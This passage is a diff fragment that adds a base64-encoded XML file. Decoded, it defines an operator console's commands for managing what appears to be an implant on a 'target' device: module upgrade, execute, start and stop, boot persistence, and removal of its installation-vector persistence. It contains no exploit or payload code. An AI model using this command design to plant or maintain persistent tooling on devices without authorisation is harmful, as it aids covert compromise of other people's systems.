+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUgUmVtb3ZlPC90aXRs
+ZT4NCiAgICAgICAgICAgIDxlbGVtZW50Pm1vZHVsZV9yZW1vdmVfYXR0cmliXzE8L2VsZW1lbnQ+
+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPHNlY3Rp
+b24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDxlbGVtZW50Pm1vZHVsZV9yZW1v
+dmVfcGFyYW1fU1g8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2Vj
+dGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxl
+PSJ1cGdyYWRlIj4NCiAgICAgIDxoZWxwdGV4dD5SZXBsYWNlcyBhbiBleGlzdGluZyB2ZXJzaW9u
+IG9mIGEgbW9kdWxlIGN1cnJlbnRseSBvbiB0aGUgdGFyZ2V0IHdpdGggYSBuZXcgdmVyc2lvbiBv
+ZiB0aGF0IG1vZHVsZSBjb3BpZWQgZnJvbSB0aGUgbG9jYWwgY29udHJvbCBwb3N0LjwvaGVscHRl
+eHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBEPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAg
+ICAgPHByaW1pdGl2ZT4weDA3MDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgPHByaW1pdGl2
+ZT4weDA3MDAwMDA3PC9wcmltaXRpdmU+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDBD
+PC9wcmltaXRpdmU+DQogICAgICAgIDwvb3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgIDwvcHJp
+bWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRl
+cz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+
+bW9kdWxlX3VwZ3JhZGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPk1vZHVsZSBJRDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAg
+ICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjMyPC9z
+aXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDA3MDAwMDBEPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0
+aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8cGFyYW1ldGVy
+cz4NCiAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0KICAgICAgICA8b3B0aW9uYWxfcGFy
+YW1ldGVycz4NCiAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9Im0iPg0KICAgICAgICAgICAgPGNh
+c2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+
+bW9kdWxlX3VwZ3JhZGVfcGFyYW1fTTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+TW92ZSB0byBwZXJzaXN0ZW50PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICA8
+c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDAzPC9wcmltaXRpdmU+DQog
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5SZXBsYWNlcyB0aGUgcHJlZXhpc3RpbmcgbW9kdWxlIHZl
+cnNpb24gaW4gcGVyc2lzdGVudCBub24tdm9sYXRpbGUgbWVtb3J5IG9uIHRoZSB0YXJnZXQgd2l0
+aCB0aGUgbmV3IHZlcnNpb24uPC9oZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZSI+DQog
+ICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5tb2R1bGVfdXBncmFkZV9wYXJhbV9FPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5FeGVjdXRlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAg
+ICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1
+bHR2YWx1ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDA3PC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgIDxoZWxwdGV4dD5FeGVjdXRlIHRoZSBuZXcgbW9kdWxlIHZlcnNpb24g
+aW1tZWRpYXRlbHkgYWZ0ZXIgdXBncmFkaW5nLjwvaGVscHRleHQ+DQogICAgICAgICAgICA8L2F0
+dHJpYnV0ZT4NCiAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9ImIiPg0KICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+
+DQogICAgICAgICAgICA8bmN1cnNlaWQ+bW9kdWxlX3VwZ3JhZGVfcGFyYW1fQjwvbmN1cnNlaWQ+
+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+Qm9vdCBwZXJzaXN0ZW5jZTwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwv
+dHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgPGRlZmF1
+bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+NzAwMDAwQzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgPGhlbHB0ZXh0PkZvcmNlIGJvb3QgcGVyc2lzdGVuY2U7IHRoZSBu
+ZXcgbW9kdWxlIHZlcnNpb24gd2lsbCBhdXRvbWF0aWNhbGx5IHN0YXJ0IGV4ZWN1dGlvbiBhZnRl
+ciB0aGUgZGV2aWNlIGlzIHJlc3RhcnRlZC4gIElmIG9taXR0ZWQsIHRoZSBuZXcgdmVyc2lvbiB3
+aWxsIGhhdmUgdGhlIHNhbWUgYXV0b21hdGljIGV4ZWN1dGlvbiBjaGFyYWN0ZXJpc3RpY3Mgb2Yg
+dGhlIHByZWV4aXN0aW5nIHZlcnNpb24uPC9oZWxwdGV4dD4NCiAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICA8L29wdGlvbmFsX3BhcmFtZXRl
+cnM+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAg
+PHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUg
+VXBncmFkZTwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVudD5tb2R1bGVfdXBncmFkZV9hdHRy
+aWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPGVsZW1l
+bnQ+bW9kdWxlX3VwZ3JhZGVfcGFyYW1fTTwvZWxlbWVudD4NCiAgICAgICAgICAgIDxlbGVtZW50
+Pm1vZHVsZV91cGdyYWRlX3BhcmFtX0U8L2VsZW1lbnQ+DQogICAgICAgICAgICA8ZWxlbWVudD5t
+b2R1bGVfdXBncmFkZV9wYXJhbV9CPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAg
+PGNtZCB0aXRsZT0ic3RhcnQiPg0KICAgICAgPGhlbHB0ZXh0PlN0YXJ0cyBhIG1vZHVsZSB0aGF0
+IGlzIHBlcnNpc3RlbnRseSBzdG9yZWQgb24gdGhlIHRhcmdldC48L2hlbHB0ZXh0Pg0KICAgICAg
+PHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwNzAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAg
+ICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+bW9kdWxl
+X3N0YXJ0X2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1
+bGUgSUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAg
+ICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+NzAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0
+dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnMvPg0KICAg
+ICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICA8dGl0bGU+TW9kdWxlIFN0YXJ0PC90aXRsZT4NCiAgICAgICAgICAgIDxl
+bGVtZW50Pm1vZHVsZV9zdGFydF9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21k
+Pg0KICAgIDxjbWQgdGl0bGU9InN0b3AiPg0KICAgICAgPGhlbHB0ZXh0PlN0b3BzIGV4ZWN1dGlv
+biBvZiBhIHJ1bm5pbmcgbW9kdWxlIG9uIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxw
+cmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MDcwMDAwMDg8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRp
+dmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+
+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAg
+ICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPm1vZHVsZV9r
+aWxsX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1bGUg
+SUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDA3MDAwMDA4PC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQog
+ICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVt
+bj4NCiAgICAgICAgICAgIDx0aXRsZT5Nb2R1bGUgc3RvcDwvdGl0bGU+DQogICAgICAgICAgICA8
+ZWxlbWVudD5tb2R1bGVfa2lsbF9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21k
+Pg0KICAgIDxjbWQgdGl0bGU9InJlc3RhcnQiPg0KICAgICAgPGhlbHB0ZXh0PlN0b3BzIHRoZW4g
+cmVzdGFydHMgdGhlIG1vZHVsZSBvbiB0aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQogICAgICA8cHJp
+bWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1p
+dGl2ZT4weDA3MDAwMDBBPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZl
+cz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0K
+ICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWxvYWRfc3Rv
+cmVkX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Nb2R1bGUg
+SUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZS8+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNzAw
+MDAwQTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJp
+YnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+TW9k
+dWxlIFJlc3RhcnQ8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+cmVsb2FkX3N0b3JlZF9h
+dHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0aW9u
+Pg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICA8L2NtZGdycD4NCiAgPGNt
+ZGdycCB0aXRsZT0iZGV2aWNlIj4NCiAgICA8Y21kZ3JwIHRpdGxlPSJwZXJzaXN0ZW5jZSI+DQog
+ICAgICA8Y21kIHRpdGxlPSJyZW1vdmUiPg0KICAgICAgICA8aGVscHRleHQ+UmVtb3ZlcyB0b29s
+IGluc3RhbGxhdGlvbiB2ZWN0b3IgcGVyc2lzdGVuY2UuICBOb3RlLCB0aGlzIGRvZXMgbm90IGFm
+ZmVjdCBydW5uaW5nIG1vZHVsZXMuPC9oZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQog
+ICAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDQwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQog
+ICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAg
+PGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxlPlJlbW92ZSBUb29sIGl2IHBlcnNpc3RlbmNl
+PC90aXRsZT4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgPC9jbWRncnA+DQogICAg
+PGNtZCB0aXRsZT0ic2hvdyI+DQogICAgICA8aGVscHRleHQ+U2hvd3MgdGhlIGN1cnJlbnQgc2V0
+dGluZ3MgYW5kIHZlcnNpb24gaW5mb3JtYXRpb24gYWJvdXQgdGhlIHRvb2wuPC9oZWxwdGV4dD4N
+CiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MDQwMDAwMDE8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3By
+aW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5TaG93IFRvb2w8L3RpdGxlPg0KICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlv
+dXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0ic3RhdHVzIj4NCiAgICAgIDxoZWxwdGV4
+dD5TaG93cyBzdGF0aXN0aWNzIGFib3V0IHRoZSB0b29sLjwvaGVscHRleHQ+DQogICAgICA8cHJp
+bWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1p
+dGl2ZT4weDA0MDAwMDAwPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZl
+cz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0K
+ICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1
+bW4+DQogICAgICAgICAgICA8dGl0bGU+VG9vbCBTdGF0dXM8L3RpdGxlPg0KICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAg
+PC9jbWQ+DQogICAgPGNtZCB0aXRsZT0ic3RvcmUiPg0KICAgICAgPGhlbHB0ZXh0PkNvcGllcyB0
+b29sIHNldHRpbmdzIGZyb20gdm9sYXRpbGUgbWVtb3J5IHRvIHBlcnNpc3RlbnQgbWVtb3J5IG9u
+IHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDQwMDAwMDI8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxf
+cHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4N
+CiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRs
+ZT5Ub29sIFN0b3JlPC90aXRsZT4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0bGU9
+InN0b3AiPg0KICAgICAgPGhlbHB0ZXh0PlN0b3BzIGFsbCB0b29sIHByb2Nlc3NlcyBhbmQgZnJl
+ZXMgYWxsIGl0ZW1zIGluIHZvbGF0aWxlIG1lbW9yeS48L2hlbHB0ZXh0Pg0KICAgICAgPHByaW1p
+dGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxwcmltaXRp
+dmU+MHgwNDAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+
+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAg
+ICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgPHRpdGxlPlN0b3AgVG9vbDwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1
+bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2Nt
+ZD4NCiAgICA8Y21kIHRpdGxlPSJyZW1vdmUiPg0KICAgICAgPGhlbHB0ZXh0PlJlbW92ZXMgYWxs
+IHRvb2wgaXRlbXMgaW4gcGVyc2lzdGVudCBzdG9yYWdlLiAgTm90ZSwgdGhpcyBkb2VzIG5vdCBh
+ZmZlY3QgdGhlIGJvb3QgcGVyc2lzdGVuY2Ugb3IgcnVubmluZyBtb2R1bGVzLjwvaGVscHRleHQ+
+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAg
+ICAgICAgPHByaW1pdGl2ZT4weDA0MDAwMDA1PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWly
+ZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9w
+cmltaXRpdmVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+UmVtb3ZlIFRvb2w8L3RpdGxlPg0K
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNs
+YXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0idW5pbnN0YWxsIj4NCiAgICAgIDxo
+ZWxwdGV4dD5Db21wbGV0ZWx5IHN0b3BzIGFsbCB0b29sIHByb2Nlc3NlcyBhbmQgcmVtb3ZlcyBl
+dmVyeXRoaW5nIHRvb2wgcmVsYXRlZCBmcm9tIHRoZSB0YXJnZXQuPC9oZWxwdGV4dD4NCiAgICAg
+IDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MDQwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MDQwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDQwMDAwMDY8L3By
+aW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9u
+YWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91
+dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0
+aXRsZT5Vbmluc3RhbGwgVG9vbDwvdGl0bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAg
+IDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21k
+IHRpdGxlPSJ1cGdyYWRlIj4NCiAgICAgIDxoZWxwdGV4dD5VcGdyYWRlcyB0aGUgdG9vbCB1c2lu
+ZyB0aGUgc3BlY2lmaWVkIGZpbGUuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAg
+ICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDQwMDAw
+MDc8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8
+b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmli
+dXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPnVwZ3JhZGVfYXR0cmliXzE8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPmZpbGU8L25jdXJzZWxhYmVsPg0KICAgICAg
+ICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAg
+ICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZS8+
+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwNDAwMDAwNzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0
+cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1
+dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAg
+IDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+RGV2aWNlIFVwZ3JhZGU8L3RpdGxlPg0KICAg
+ICAgICAgICAgPGVsZW1lbnQ+dXBncmFkZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8
